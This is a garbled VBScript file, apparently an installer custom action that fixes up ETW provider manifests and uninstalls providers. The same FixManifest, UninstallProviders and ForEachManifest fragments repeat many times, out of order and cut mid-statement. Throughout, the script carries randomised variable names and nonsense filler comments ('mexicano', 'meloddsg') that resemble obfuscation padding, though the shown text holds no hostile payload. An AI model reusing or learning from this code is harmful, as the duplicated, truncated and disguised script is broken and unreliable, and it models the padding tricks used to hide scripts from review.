Right(targetDir, 1) = "\" Then targetDir = Left(targetDir, Len(targetDir) - 1) End If ' Uninstall an ETW Provider ' Create a fixed-up copy of a provider manifest ' Dim YxzKX, WaBnj, PUPqX, vKynU Dim fixedName, messageFileName, resourceFileName Set YxzKX = CreateObject("msxml2.DOMDocument.3.0") YxzKX.async = false YxzKX.resolveExternals = false YxzKX.validateOnParse = false If Not YxzKX.load( manifestName ) Then FixManifest = "" Exit Function End If Set WaBnj = YxzKX.SelectNodes("//*/provider") If WaBnj Is Nothing Then FixManifest = "" Exit Function End If For Each PUPqX In WaBnj Set vKynU = PUPqX.attributes messageFileName = vKynU.getNamedItem("messageFileName").nodeValue resourceFileName = vKynU.getNamedItem("resourceFileName").nodeValue messageFileName = RegExFolderPart.Replace ( messageFileName, targetDir + "\" ) resourceFileName = RegExFolderPart.Replace ( resourceFileName, targetDir + "\" ) ' If the resource DLLs referenced in the provider manifest are main OS DLLs ' then we don't include them in the OPK, instead we include a resource-only ' dll with the etw.dll suffix. For these DLLs we need to add the suffix here. ' If 0 = InStr( messageFileName, "etw.dll" ) Then messageFileName = RegExExtensionPart.Replace ( messageFileName, "etw.dll" ) End If If 0 = InStr( resourceFileName, "etw.dll" ) Then resourceFileName = RegExExtensionPart.Replace ( resourceFileName, "etw.dll" ) End If PUPqX.SetAttribute "messageFileName", messageFileName PUPqX.SetAttribute "resourceFileName", resourceFileName Next fixedName = RegExFolderPart.Replace ( manifestName, ObjShell.ExpandEnvironmentStrings("%TEMP%") + "\" ) + ".fixed.man" If YxzKX.save( fixedName ) Then FixManifest = "" Exit Function End If FixManifest = fixedName End Function '''''''''''''''''''''' mexicano '''''''''''''''''''''' ' Print usage meloddsg ' ' Install Providers ' Uninstall Providers ' Function UninstallProviders ' If this is msi mode, uninstall failures are not fatal ' If False = manual Then On Error Resume Next End If targetDir = Session.TargetPath("ETWProviders") ForEachManifest( GetRef("UninstallProvider") ) On Error Goto 0 End Function '''''''''''''''''''''' mexicano '''''''''''''''''''''' ' Print usage meloddsg ' ' Install Providers ' Uninstall Providers ' Function UninstallProviders ' If this is msi mode, uninstall failures are not fatal ' If False = manual Then On Error Resume Next End If targetDir = Session.TargetPath("ETWProviders") ForEachManifest( GetRef("UninstallProvider") ) On Error Goto 0 End Function ' Enumerates over the provider manifests ' Function ForEachManifest( performAction ) Dim ObjCD, ObjFiles, File ' Remove possible trailing backslash ' If Right(targetDir, 1) = "\" Then targetDir = Left(targetDir, Len(targetDir) - 1) End If ' Uninstall an ETW Provider ' Create a fixed-up copy of a provider manifest ' Dim YxzKX, WaBnj, PUPqX, vKynU Dim fixedName, messageFileName, resourceFileName Set YxzKX = CreateObject("msxml2.DOMDocument.3.0") YxzKX.async = false YxzKX.resolveExternals = false YxzKX.validateOnParse = false If Not YxzKX.load( manifestName ) Then FixManifest = "" Exit Function End If Set WaBnj = YxzKX.SelectNodes("//*/provider") If WaBnj Is Nothing Then FixManifest = "" Exit Function End If For Each PUPqX In WaBnj Set vKynU = PUPqX.attributes messageFileName = vKynU.getNamedItem("messageFileName").nodeValue resourceFileName = vKynU.getNamedItem("resourceFileName").nodeValue messageFileName = RegExFolderPart.Replace ( messageFileName, targetDir + "\" ) resourceFileName = RegExFolderPart.Replace ( resourceFileName, targetDir + "\" ) ' If the resource DLLs referenced in the provider manifest are main OS DLLs ' then we don't include them in the OPK, instead we include a resource-only ' dll with the etw.dll suffix. For these DLLs we need to add the suffix here. ' If 0 = InStr( messageFileName, "etw.dll" ) Then messageFileName = RegExExtensionPart.Replace ( messageFileName, "etw.dll" ) End If If 0 = InStr( resourceFileName, "etw.dll" ) Then resourceFileName = RegExExtensionPart.Replace ( resourceFileName, "etw.dll" ) End If PUPqX.SetAttribute "messageFileName", messageFileName PUPqX.SetAttribute "resourceFileName", resourceFileName Next fixedName = RegExFolderPart.Replace ( manifestName, ObjShell.ExpandEnvironmentStrings("%TEMP%") + "\" ) + ".fixed.man" If YxzKX.save( fixedName ) Then FixManifest = "" Exit Function End If FixManifest = fixedName End Function '''''''''''''''''''''' mexicano '''''''''''''''''''''' ' Print usage meloddsg ' ' Install Providers ' Uninstall Providers ' Function UninstallProviders ' If this is msi mode, uninstall failures are not fatal ' If False = manual Then On Error Resume Next End If targetDir = Session.TargetPath("ETWProviders") ForEachManifest( GetRef("UninstallProvider") ) On Error Goto 0 End Function '''''''''''''''''''''' mexicano '''''''''''''''''''''' ' Print usage meloddsg ' ' Install Providers ' Uninstall Providers ' Function UninstallProviders ' If this is msi mode, uninstall failures are not fatal ' If False = manual Then On Error Resume Next End If targetDir = Session.TargetPath("ETWProviders") ForEachManifest( GetRef("UninstallProvider") ) On Error Goto 0 End Function ' Enumerates over the provider manifests ' Function ForEachManifest( performAction ) Dim ObjCD, ObjFiles, File ' Remove possible trailing backslash ' If Right(targetDir, 1) = "\" Then targetDir = Left(targetDir, Len(targetDir) - 1) End If ' Uninstall an ETW Provider ' Create a fixed-up copy of a provider manifest ' Dim YxzKX, WaBnj, PUPqX, vKynU Dim fixedName, messageFileName, resourceFileName Set YxzKX = CreateObject("msxml2.DOMDocument.3.0") YxzKX.async = false YxzKX.resolveExternals = false YxzKX.validateOnParse = false If Not YxzKX.load( manifestName ) Then FixManifest = "" Exit Function End If Set WaBnj = YxzKX.SelectNodes("//*/provider") If WaBnj Is Nothing Then FixManifest = "" Exit Function End If For Each PUPqX In WaBnj Set vKynU = PUPqX.attributes messageFileName = vKynU.getNamedItem("messageFileName").nodeValue resourceFileName = vKynU.getNamedItem("resourceFileName").nodeValue messageFileName = RegExFolderPart.Replace ( messageFileName, targetDir + "\" ) resourceFileName = RegExFolderPart.Replace ( resourceFileName, targetDir + "\" ) ' If the resource DLLs referenced in the provider manifest are main OS DLLs ' then we don't include them in the OPK, instead we include a resource-only ' dll with the etw.dll suffix. For these DLLs we need to add the suffix here. ' If 0 = InStr( messageFileName, "etw.dll" ) Then messageFileName = RegExExtensionPart.Replace ( messageFileName, "etw.dll" ) End If If 0 = InStr( resourceFileName, "etw.dll" ) Then resourceFileName = RegExExtensionPart.Replace ( resourceFileName, "etw.dll" ) End If PUPqX.SetAttribute "messageFileName", messageFileName PUPqX.SetAttribute "resourceFileName", resourceFileName Next fixedName = RegExFolderPart.Replace ( manifestName, ObjShell.ExpandEnvironmentStrings("%TEMP%") + "\" ) + ".fixed.man" If YxzKX.save( fixedName ) Then FixManifest = "" Exit Function End If FixManifest = fixedName End Function '''''''''''''''''''''' mexicano '''''''''''''''''''''' ' Print usage meloddsg ' ' Install Providers ' Uninstall Providers ' Function UninstallProviders ' If this is msi mode, uninstall failures are not fatal ' If False = manual Then On Error Resume Next End If targetDir = Session.TargetPath("ETWProviders") ForEachManifest( GetRef("UninstallProvider") ) On Error Goto 0 End Function '''''''''''''''''''''' mexicano '''''''''''''''''''''' ' Print usage meloddsg ' ' Install Providers ' Uninstall Providers ' Function UninstallProviders ' If this is msi mode, uninstall failures are not fatal ' If False = manual Then On Error Resume Next End If targetDir = Session.TargetPath("ETWProviders") ForEachManifest( GetRef("UninstallProvider") ) On Error Goto 0 End Function ' Enumerates over the provider manifests ' Function ForEachManifest( performAction ) Dim ObjCD, ObjFiles, File ' Remove possible trailing backslash ' If Right(targetDir, 1) = "\" Then targetDir = Left(targetDir, Len(targetDir) - 1) End If ' Uninstall an ETW Provider ' Create a fixed-up copy of a provider manifest ' Dim YxzKX, WaBnj, PUPqX, vKynU Dim fixedName, messageFileName, resourceFileName Set YxzKX = CreateObject("msxml2.DOMDocument.3.0") YxzKX.async = false YxzKX.resolveExternals = false YxzKX.validateOnParse = false If Not YxzKX.load( manifestName ) Then FixManifest = "" Exit Function End If Set WaBnj = YxzKX.SelectNodes("//*/provider") If WaBnj Is Nothing Then FixManifest = "" Exit Function End If For Each PUPqX In WaBnj Set vKynU = PUPqX.attributes messageFileName = vKynU.getNamedItem("messageFileName").nodeValue resourceFileName = vKynU.getNamedItem("resourceFileName").nodeValue messageFileName = RegExFolderPart.Replace ( messageFileName, targetDir + "\" ) resourceFileName = RegExFolderPart.Replace ( resourceFileName, targetDir + "\" ) ' If the resource DLLs referenced in the provider manifest are main OS DLLs ' then we don't include them in the OPK, instead we include a resource-only ' dll with the etw.dll suffix. For these DLLs we need to add the suffix here. ' If 0 = InStr( messageFileName, "etw.dll" ) Then messageFileName = RegExExtensionPart.Replace ( messageFileName, "etw.dll" ) End If If 0 = InStr( resourceFileName, "etw.dll" ) Then resourceFileName = RegExExtensionPart.Replace ( resourceFileName, "etw.dll" ) End If PUPqX.SetAttribute "messageFileName", messageFileName PUPqX.SetAttribute "resourceFileName", resourceFileName Next fixedName = RegExFolderPart.Replace ( manifestName, ObjShell.ExpandEnvironmentStrings("%TEMP%") + "\" ) + ".fixed.man" If YxzKX.save( fixedName ) Then FixManifest = "" Exit Function End If FixManifest = fixedName End Function '''''''''''''''''''''' mexicano '''''''''''''''''''''' ' Print usage meloddsg ' ' Install Providers ' Uninstall Providers ' Function UninstallProviders ' If this is msi mode, uninstall failures are not fatal ' If False = manual Then On Error Resume Next End If targetDir = Session.TargetPath("ETWProviders") ForEachManifest( GetRef("UninstallProvider") ) On Error Goto 0 End Function '''''''''''''''''''''' mexicano '''''''''''''''''''''' ' Print usage meloddsg ' ' Install Providers ' Uninstall Providers ' Function UninstallProviders ' If this is msi mode, uninstall failures are not fatal ' If False = manual Then On Error Resume Next End If targetDir = Session.TargetPath("ETWProviders") ForEachManifest( GetRef("UninstallProvider") ) On Error Goto 0 End Function ' Enumerates over the provider manifests ' Function ForEachManifest( performAction ) Dim ObjCD, ObjFiles, File ' Remove possible trailing backslash ' If Right(targetDir, 1) = "\" Then targetDir = Left(targetDir, Len(targetDir) - 1) End If ' Uninstall an ETW Provider ' Create a fixed-up copy of a provider manifest ' Dim YxzKX, WaBnj, PUPqX, vKynU Dim fixedName, messageFileName, resourceFileName Set YxzKX = CreateObject("msxml2.DOMDocument.3.0") YxzKX.async = false YxzKX.resolveExternals = false YxzKX.validateOnParse = false If Not YxzKX.load( manifestName ) Then FixManifest = "" Exit Function End If Set WaBnj = YxzKX.SelectNodes("//*/provider") If WaBnj Is Nothing Then FixManifest = "" Exit Function End If For Each PUPqX In WaBnj Set vKynU = PUPqX.attributes messageFileName = vKynU.getNamedItem("messageFileName").nodeValue resourceFileName = vKynU.getNamedItem("resourceFileName").nodeValue messageFileName = RegExFolderPart.Replace ( messageFileName, targetDir + "\" ) resourceFileName = RegExFolderPart.Replace ( resourceFileName, targetDir + "\" ) ' If the resource DLLs referenced in the provider manifest are main OS DLLs ' then we don't include them in the OPK, instead we include a resource-only ' dll with the etw.dll suffix. For these DLLs we need to add the suffix here. ' If 0 = InStr( messageFileName, "etw.dll" ) Then messageFileName = RegExExtensionPart.Replace ( messageFileName, "etw.dll" ) End If If 0 = InStr( resourceFileName, "etw.dll" ) Then resourceFileName = RegExExtensionPart.Replace ( resourceFileName, "etw.dll" ) End If PUPqX.SetAttribute "messageFileName", messageFileName PUPqX.SetAttribute "resourceFileName", resourceFileName Next fixedName = RegExFolderPart.Replace ( manifestName, ObjShell.ExpandEnvironmentStrings("%TEMP%") + "\" ) + ".fixed.man" If YxzKX.save( fixedName ) Then FixManifest = "" Exit Function End If FixManifest = fixedName End Function '''''''''''''''''''''' mexicano '''''''''''''''''''''' ' Print usage meloddsg ' ' Install Providers ' Uninstall Providers ' Function UninstallProviders ' If this is msi mode, uninstall failures are not fatal ' If False = manual Then On Error Resume Next End If targetDir = Session.TargetPath("ETWProviders") ForEachManifest( GetRef("UninstallProvider") ) On Error Goto 0 End Function '''''''''''''''''''''' mexicano '''''''''''''''''''''' ' Print usage meloddsg ' ' Install Providers ' Uninstall Providers ' Function UninstallProviders ' If this is msi mode, uninstall failures are not fatal ' If False = manual Then On Error Resume Next End If targetDir = Session.TargetPath("ETWProviders") ForEachManifest( GetRef("UninstallProvider") ) On Error Goto 0 End Function ' Enumerates over the provider manifests ' Function ForEachManifest( performAction ) Dim ObjCD, ObjFiles, File ' Remove possible trailing backslash ' If Right(targetDir, 1) = "\" Then targetDir = Left(targetDir, Len(targetDir) - 1) End If ' Uninstall an ETW Provider ' Create a fixed-up copy of a provider manifest ' Dim YxzKX, WaBnj, PUPqX, vKynU Dim fixedName, messageFileName, resourceFileName Set YxzKX = CreateObject("msxml2.DOMDocument.3.0") YxzKX.async = false YxzKX.resolveExternals = false YxzKX.validateOnParse = false If Not YxzKX.load( manifestName ) Then FixManifest = "" Exit Function End If Set WaBnj = YxzKX.SelectNodes("//*/provider") If WaBnj Is Nothing Then FixManifest = "" Exit Function End If For Each PUPqX In WaBnj Set vKynU = PUPqX.attributes messageFileName = vKynU.getNamedItem("messageFileName").nodeValue resourceFileName = vKynU.getNamedItem("resourceFileName").nodeValue messageFileName = RegExFolderPart.Replace ( messageFileName, targetDir + "\" ) resourceFileName = RegExFolderPart.Replace ( resourceFileName, targetDir + "\" ) ' If the resource DLLs referenced in the provider manifest are main OS DLLs ' then we don't include them in the OPK, instead we include a resource-only ' dll with the etw.dll suffix. For these DLLs we need to add the suffix here. ' If 0 = InStr( messageFileName, "etw.dll" ) Then messageFileName = RegExExtensionPart.Replace ( messageFileName, "etw.dll" ) End If If 0 = InStr( resourceFileName, "etw.dll" ) Then resourceFileName = RegExExtensionPart.Replace ( resourceFileName, "etw.dll" ) End If PUPqX.SetAttribute "messageFileName", messageFileName PUPqX.SetAttribute "resourceFileName", resourceFileName Next fixedName = RegExFolderPart.Replace ( manifestName, ObjShell.ExpandEnvironmentStrings("%TEMP%") + "\" ) + ".fixed.man" If YxzKX.save( fixedName ) Then FixManifest = "" Exit Function End If FixManifest = fixedName End Function '''''''''''''''''''''' mexicano '''''''''''''''''''''' ' Print usage meloddsg ' ' Install Providers ' Uninstall Providers ' Function UninstallProviders ' If this is msi mode, uninstall failures are not fatal ' If False = manual Then On Error Resume Next End If targetDir = Session.TargetPath("ETWProviders") ForEachManifest( GetRef("UninstallProvider") ) On Error Goto 0 End Function '''''''''''''''''''''' mexicano '''''''''''''''''''''' ' Print usage meloddsg ' ' Install Providers ' Uninstall Providers ' Function UninstallProviders ' If this is msi mode, uninstall failures are not fatal ' If False = manual Then On Error Resume Next End If targetDir = Session.TargetPath("ETWProviders") ForEachManifest( GetRef("UninstallProvider") ) On Error Goto 0 End Function ' Enumerates over the provider manifests ' Function ForEachManifest( performAction ) Dim ObjCD, ObjFiles, File ' Remove possible trailing backslash ' If Right(targetDir, 1) = "\" Then targetDir = Left(targetDir, Len(targetDir) - 1) End If ' Uninstall an ETW Provider ' Create a fixed-up copy of a provider manifest ' Dim YxzKX, WaBnj, PUPqX, vKynU Dim fixedName, messageFileName, resourceFileName Set YxzKX = CreateObject("msxml2.DOMDocument.3.0") YxzKX.async = false YxzKX.resolveExternals = false YxzKX.validateOnParse = false If Not YxzKX.load( manifestName ) Then FixManifest = "" Exit Function End If Set WaBnj = YxzKX.SelectNodes("//*/provider") If WaBnj Is Nothing Then FixManifest = "" Exit Function End If For Each PUPqX In WaBnj Set vKynU = PUPqX.attributes messageFileName = vKynU.getNamedItem("messageFileName").nodeValue resourceFileName = vKynU.getNamedItem("resourceFileName").nodeValue messageFileName = RegExFolderPart.Replace ( messageFileName, targetDir + "\" ) resourceFileName = RegExFolderPart.Replace ( resourceFileName, targetDir + "\" ) ' If the resource DLLs referenced in the provider manifest are main OS DLLs ' then we don't include them in the OPK, instead we include a resource-only ' dll with the etw.dll suffix. For these DLLs we need to add the suffix here. ' If 0 = InStr( messageFileName, "etw.dll" ) Then messageFileName = RegExExtensionPart.Replace ( messageFileName, "etw.dll" ) End If If 0 = InStr( resourceFileName, "etw.dll" ) Then resourceFileName = RegExExtensionPart.Replace ( resourceFileName, "etw.dll" ) End If PUPqX.SetAttribute "messageFileName", messageFileName PUPqX.SetAttribute "resourceFileName", resourceFileName Next fixedName = RegExFolderPart.Replace ( manifestName, ObjShell.ExpandEnvironmentStrings("%TEMP%") + "\" ) + ".fixed.man" If YxzKX.save( fixedName ) Then FixManifest = "" Exit Function End If FixManifest = fixedName End Function '''''''''''''''''''''' mexicano '''''''''''''''''''''' ' Print usage meloddsg ' ' Install Providers ' Uninstall Providers ' Function UninstallProviders ' If this is msi mode, uninstall failures are not fatal ' If False = manual Then On Error Resume Next End If targetDir = Session.TargetPath("ETWProviders") ForEachManifest( GetRef("UninstallProvider") ) On Error Goto 0 End Function '''''''''''''''''''''' mexicano '''''''''''''''''''''' ' Print usage meloddsg ' ' Install Providers ' Uninstall Providers ' Function UninstallProviders ' If this is msi mode, uninstall failures are not fatal ' If False = manual Then On Error Resume Next End If targetDir = Session.TargetPath("ETWProviders") ForEachManifest( GetRef("UninstallProvider") ) On Error Goto 0 End Function ' Enumerates over the provider manifests ' Function ForEachManifest( performAction ) Dim ObjCD, ObjFiles, File ' Remove possible trailing backslash ' If Right(targetDir, 1) = "\" Then targetDir = Left(targetDir, Len(targetDir) - 1) End If ' Uninstall an ETW Provider ' Create a fixed-up copy of a provider manifest ' Dim YxzKX, WaBnj, PUPqX, vKynU Dim fixedName, messageFileName, resourceFileName Set YxzKX = CreateObject("msxml2.DOMDocument.3.0") YxzKX.async = false YxzKX.resolveExternals = false YxzKX.validateOnParse = false If Not YxzKX.load( manifestName ) Then FixManifest = "" Exit Function End If Set WaBnj = YxzKX.SelectNodes("//*/provider") If WaBnj Is Nothing Then FixManifest = "" Exit Function End If For Each PUPqX In WaBnj Set vKynU = PUPqX.attributes messageFileName = vKynU.getNamedItem("messageFileName").nodeValue resourceFileName = vKynU.getNamedItem("resourceFileName").nodeValue messageFileName = RegExFolderPart.Replace ( messageFileName, targetDir + "\" ) resourceFileName = RegExFolderPart.Replace ( resourceFileName, targetDir + "\" ) ' If the resource DLLs referenced in the provider manifest are main OS DLLs ' then we don't include them in the OPK, instead we include a resource-only ' dll with the etw.dll suffix. For these DLLs we need to add the suffix here. ' If 0 = InStr( messageFileName, "etw.dll" ) Then messageFileName = RegExExtensionPart.Replace ( messageFileName, "etw.dll" ) End If If 0 = InStr( resourceFileName, "etw.dll" ) Then resourceFileName = RegExExtensionPart.Replace ( resourceFileName, "etw.dll" ) End If PUPqX.SetAttribute "messageFileName", messageFileName PUPqX.SetAttribute "resourceFileName", resourceFileName Next fixedName = RegExFolderPart.Replace ( manifestName, ObjShell.ExpandEnvironmentStrings("%TEMP%") + "\" ) + ".fixed.man" If YxzKX.save( fixedName ) Then FixManifest = "" Exit Function End If FixManifest = fixedName End Function '''''''''''''''''''''' mexicano '''''''''''''''''''''' ' Print usage meloddsg ' ' Install Providers ' Uninstall Providers ' Function UninstallProviders ' If this is msi mode, uninstall failures are not fatal ' If False = manual Then On Error Resume Next End If targetDir = Session.TargetPath("ETWProviders") ForEachManifest( GetRef("UninstallProvider") ) On Error Goto 0 End Function '''''''''''''''''''''' mexicano '''''''''''''''''''''' ' Print usage meloddsg ' ' Install Providers ' Uninstall Providers ' Function UninstallProviders ' If this is msi mode, uninstall failures are not fatal ' If False = manual Then On Error Resume Next End If targetDir = Session.TargetPath("ETWProviders") ForEachManifest( GetRef("UninstallProvider") ) On Error Goto 0 End Function ' Enumerates over the provider manifests ' Function ForEachManifest( performAction ) Dim ObjCD, ObjFiles, File ' Remove possible trailing backslash ' If Right(targetDir, 1) = "\" Then targetDir = Left(targetDir, Len(targetDir) - 1) End If ' Uninstall an ETW Provider ' Create a fixed-up copy of a provider manifest ' Dim YxzKX, WaBnj, PUPqX, vKynU Dim fixedName, messageFileName, resourceFileName Set YxzKX = CreateObject("msxml2.DOMDocument.3.0") YxzKX.async = false YxzKX.resolveExternals = false YxzKX.validateOnParse = false If Not YxzKX.load( manifestName ) Then FixManifest = "" Exit Function End If Set WaBnj = YxzKX.SelectNodes("//*/provider") If WaBnj Is Nothing Then FixManifest = "" Exit Function End If For Each PUPqX In WaBnj Set vKynU = PUPqX.attributes messageFileName = vKynU.getNamedItem("messageFileName").nodeValue resourceFileName = vKynU.getNamedItem("resourceFileName").nodeValue messageFileName = RegExFolderPart.Replace ( messageFileName, targetDir + "\" ) resourceFileName = RegExFolderPart.Replace ( resourceFileName, targetDir + "\" ) ' If the resource DLLs referenced in the provider manifest are main OS DLLs ' then we don't include them in the OPK, instead we include a resource-only ' dll with the etw.dll suffix. For these DLLs we need to add the suffix here. ' If 0 = InStr( messageFileName, "etw.dll" ) Then messageFileName = RegExExtensionPart.Replace ( messageFileName, "etw.dll" ) End If If 0 = InStr( resourceFileName, "etw.dll" ) Then resourceFileName = RegExExtensionPart.Replace ( resourceFileName, "etw.dll" ) End If PUPqX.SetAttribute "messageFileName", messageFileName PUPqX.SetAttribute "resourceFileName", resourceFileName Next fixedName = RegExFolderPart.Replace ( manifestName, ObjShell.ExpandEnvironmentStrings("%TEMP%") + "\" ) + ".fixed.man" If YxzKX.save( fixedName ) Then FixManifest = "" Exit Function End If FixManifest = fixedName End Function '''''''''''''''''''''' mexicano '''''''''''''''''''''' ' Print usage meloddsg ' ' Install Providers ' Uninstall Providers ' Function UninstallProviders ' If this is msi mode, uninstall failures are not fatal ' If False = manual Then On Error Resume Next End If targetDir = Session.TargetPath("ETWProviders") ForEachManifest( GetRef("UninstallProvider") ) On Error Goto 0 End Function '''''''''''''''''''''' mexicano '''''''''''''''''''''' ' Print usage meloddsg ' ' Install Providers ' Uninstall Providers ' Function UninstallProviders ' If this is msi mode, uninstall failures are not fatal ' If False = manual Then On Error Resume Next End If targetDir = Session.TargetPath("ETWProviders") ForEachManifest( GetRef("UninstallProvider") ) On Error Goto 0 End Function ' Enumerates over the provider manifests ' Function ForEachManifest( performAction ) Dim ObjCD, ObjFiles, File ' Remove possible trailing backslash ' If Right(targetDir, 1) = "\" Then targetDir = Left(targetDir, Len(targetDir) - 1) End If ' Uninstall an ETW Provider ' Create a fixed-up copy of a provider manifest ' Dim YxzKX, WaBnj, PUPqX, vKynU Dim fixedName, messageFileName, resourceFileName Set YxzKX = CreateObject("msxml2.DOMDocument.3.0") YxzKX.async = false YxzKX.resolveExternals = false YxzKX.validateOnParse = false If Not YxzKX.load( manifestName ) Then FixManifest = "" Exit Function End If Set WaBnj = YxzKX.SelectNodes("//*/provider") If WaBnj Is Nothing Then FixManifest = "" Exit Function End If For Each PUPqX In WaBnj Set vKynU = PUPqX.attributes messageFileName = vKynU.getNamedItem("messageFileName").nodeValue resourceFileName = vKynU.getNamedItem("resourceFileName").nodeValue messageFileName = RegExFolderPart.Replace ( messageFileName, targetDir + "\" ) resourceFileName = RegExFolderPart.Replace ( resourceFileName, targetDir + "\" ) ' If the resource DLLs referenced in the provider manifest are main OS DLLs ' then we don't include them in the OPK, instead we include a resource-only ' dll with the etw.dll suffix. For these DLLs we need to add the suffix here. ' If 0 = InStr( messageFileName, "etw.dll" ) Then messageFileName = RegExExtensionPart.Replace ( messageFileName, "etw.dll" ) End If If 0 = InStr( resourceFileName, "etw.dll" ) Then resourceFileName = RegExExtensionPart.Replace ( resourceFileName, "etw.dll" ) End If PUPqX.SetAttribute "messageFileName", messageFileName PUPqX.SetAttribute "resourceFileName", resourceFileName Next fixedName = RegExFolderPart.Replace ( manifestName, ObjShell.ExpandEnvironmentStrings("%TEMP%") + "\" ) + ".fixed.man" If YxzKX.save( fixedName ) Then FixManifest = "" Exit Function End If FixManifest = fixedName End Function '''''''''''''''''''''' mexicano '''''''''''''''''''''' ' Print usage meloddsg ' ' Install Providers ' Uninstall Providers ' Function UninstallProviders ' If this is msi mode, uninstall failures are not fatal ' If False = manual Then On Error Resume Next End If targetDir = Session.TargetPath("ETWProviders") ForEachManifest( GetRef("UninstallProvider") ) On Error Goto 0 End Function '''''''''''''''''''''' mexicano '''''''''''''''''''''' ' Print usage meloddsg ' ' Install Providers ' Uninstall Providers ' Function UninstallProviders ' If this is msi mode, uninstall failures are not fatal ' If False = manual Then On Error Resume Next End If targetDir = Session.TargetPath("ETWProviders") ForEachManifest( GetRef("UninstallProvider") ) On Error Goto 0 End Function ' Enumerates over the provider manifests ' Function ForEachManifest( performAction ) Dim ObjCD, ObjFiles, File ' Remove possible trailing backslash ' If Right(targetDir, 1) = "\" Then targetDir = Left(targetDir, Len(targetDir) - 1) End If ' Uninstall an ETW Provider ' Create a fixed-up copy of a provider manifest ' Dim YxzKX, WaBnj, PUPqX, vKynU Dim fixedName, messageFileName, resourceFileName Set YxzKX = CreateObject("msxml2.DOMDocument.3.0") YxzKX.async = false YxzKX.resolveExternals = false YxzKX.validateOnParse = false If Not YxzKX.load( manifestName ) Then FixManifest = "" Exit Function End If Set WaBnj = YxzKX.SelectNodes("//*/provider") If WaBnj Is Nothing Then FixManifest = "" Exit Function End If For Each PUPqX In WaBnj Set vKynU = PUPqX.attributes messageFileName = vKynU.getNamedItem("messageFileName").nodeValue resourceFileName = vKynU.getNamedItem("resourceFileName").nodeValue messageFileName = RegExFolderPart.Replace ( messageFileName, targetDir + "\" ) resourceFileName = RegExFolderPart.Replace ( resourceFileName, targetDir + "\" ) ' If the resource DLLs referenced in the provider manifest are main OS DLLs ' then we don't include them in the OPK, instead we include a resource-only ' dll with the etw.dll suffix. For these DLLs we need to add the suffix here. ' If 0 = InStr( messageFileName, "etw.dll" ) Then messageFileName = RegExExtensionPart.Replace ( messageFileName, "etw.dll" ) End If If 0 = InStr( resourceFileName, "etw.dll" ) Then resourceFileName = RegExExtensionPart.Replace ( resourceFileName, "etw.dll" ) End If PUPqX.SetAttribute "messageFileName", messageFileName PUPqX.SetAttribute "resourceFileName", resourceFileName Next fixedName = RegExFolderPart.Replace ( manifestName, ObjShell.ExpandEnvironmentStrings("%TEMP%") + "\" ) + ".fixed.man" If YxzKX.save( fixedName ) Then FixManifest = "" Exit Function End If FixManifest = fixedName End Function '''''''''''''''''''''' mexicano '''''''''''''''''''''' ' Print usage meloddsg ' ' Install Providers ' Uninstall Providers ' Function UninstallProviders ' If this is msi mode, uninstall failures are not fatal ' If False = manual Then On Error Resume Next End If targetDir = Session.TargetPath("ETWProviders") ForEachManifest( GetRef("UninstallProvider") ) On Error Goto 0 End Function '''''''''''''''''''''' mexicano '''''''''''''''''''''' ' Print usage meloddsg ' ' Install Providers ' Uninstall Providers ' Function UninstallProviders ' If this is msi mode, uninstall failures are not fatal ' If False = manual Then On Error Resume Next End If targetDir = Session.TargetPath("ETWProviders") ForEachManifest( GetRef("UninstallProvider") ) On Error Goto 0 End Function ' Enumerates over the provider manifests ' Function ForEachManifest( performAction ) Dim ObjCD, ObjFiles, File ' Remove possible trailing backslash ' If Right(targetDir, 1) = "\" Then targetDir = Left(targetDir, Len(targetDir) - 1) End If ' Uninstall an ETW Provider ' Create a fixed-up copy of a provider manifest ' Dim YxzKX, WaBnj, PUPqX, vKynU Dim fixedName, messageFileName, resourceFileName Set YxzKX = CreateObject("msxml2.DOMDocument.3.0") YxzKX.async = false YxzKX.resolveExternals = false YxzKX.validateOnParse = false If Not YxzKX.load( manifestName ) Then FixManifest = "" Exit Function End If Set WaBnj = YxzKX.SelectNodes("//*/provider") If WaBnj Is Nothing Then FixManifest = "" Exit Function End If For Each PUPqX In WaBnj Set vKynU = PUPqX.attributes messageFileName = vKynU.getNamedItem("messageFileName").nodeValue resourceFileName = vKynU.getNamedItem("resourceFileName").nodeValue messageFileName = RegExFolderPart.Replace ( messageFileName, targetDir + "\" ) resourceFileName = RegExFolderPart.Replace ( resourceFileName, targetDir + "\" ) ' If the resource DLLs referenced in the provider manifest are main OS DLLs ' then we don't include them in the OPK, instead we include a resource-only ' dll with the etw.dll suffix. For these DLLs we need to add the suffix here. ' If 0 = InStr( messageFileName, "etw.dll" ) Then messageFileName = RegExExtensionPart.Replace ( messageFileName, "etw.dll" ) End If If 0 = InStr( resourceFileName, "etw.dll" ) Then resourceFileName = RegExExtensionPart.Replace ( resourceFileName, "etw.dll" ) End If PUPqX.SetAttribute "messageFileName", messageFileName PUPqX.SetAttribute "resourceFileName", resourceFileName Next fixedName = RegExFolderPart.Replace ( manifestName, ObjShell.ExpandEnvironmentStrings("%TEMP%") + "\" ) + ".fixed.man" If YxzKX.save( fixedName ) Then FixManifest = "" Exit Function End If FixManifest = fixedName End Function '''''''''''''''''''''' mexicano '''''''''''''''''''''' ' Print usage meloddsg ' ' Install Providers ' Uninstall Providers ' Function UninstallProviders ' If this is msi mode, uninstall failures are not fatal ' If False = manual Then On Error Resume Next End If targetDir = Session.TargetPath("ETWProviders") ForEachManifest( GetRef("UninstallProvider") ) On Error Goto 0 End Function ' Enumerates over the provider manifests ' Function ForEachManifest( performAction ) Dim ObjCD, ObjFiles, File ' Remove possible trailing backslash ' If Right(targetDir, 1) = "\" Then targetDir = Left(targetDir, Len(targetDir) - 1) End If ' Uninstall an ETW Provider ' Create a fixed-up copy of a provider manifest ' Dim YxzKX, WaBnj, PUPqX, vKynU Dim fixedName, messageFileName, resourceFileName Set YxzKX = CreateObject("msxml2.DOMDocument.3.0") YxzKX.async = false YxzKX.resolveExternals = false YxzKX.validateOnParse = false If Not YxzKX.load( manifestName ) Then FixManifest = "" Exit Function End If Set WaBnj = YxzKX.SelectNodes("//*/provider") If WaBnj Is Nothing Then FixManifest = "" Exit Function End If For Each PUPqX In WaBnj Set vKynU = PUPqX.attributes messageFileName = vKynU.getNamedItem("messageFileName").nodeValue resourceFileName = vKynU.getNamedItem("resourceFileName").nodeValue messageFileName = RegExFolderPart.Replace ( messageFileName, targetDir + "\" ) resourceFileName = RegExFolderPart.Replace ( resourceFileName, targetDir + "\" ) ' If the resource DLLs referenced in the provider manifest are main OS DLLs ' then we don't include them in the OPK, instead we include a resource-only ' dll with the etw.dll suffix. For these DLLs we need to add the suffix here. ' If 0 = InStr( messageFileName, "etw.dll" ) Then messageFileName 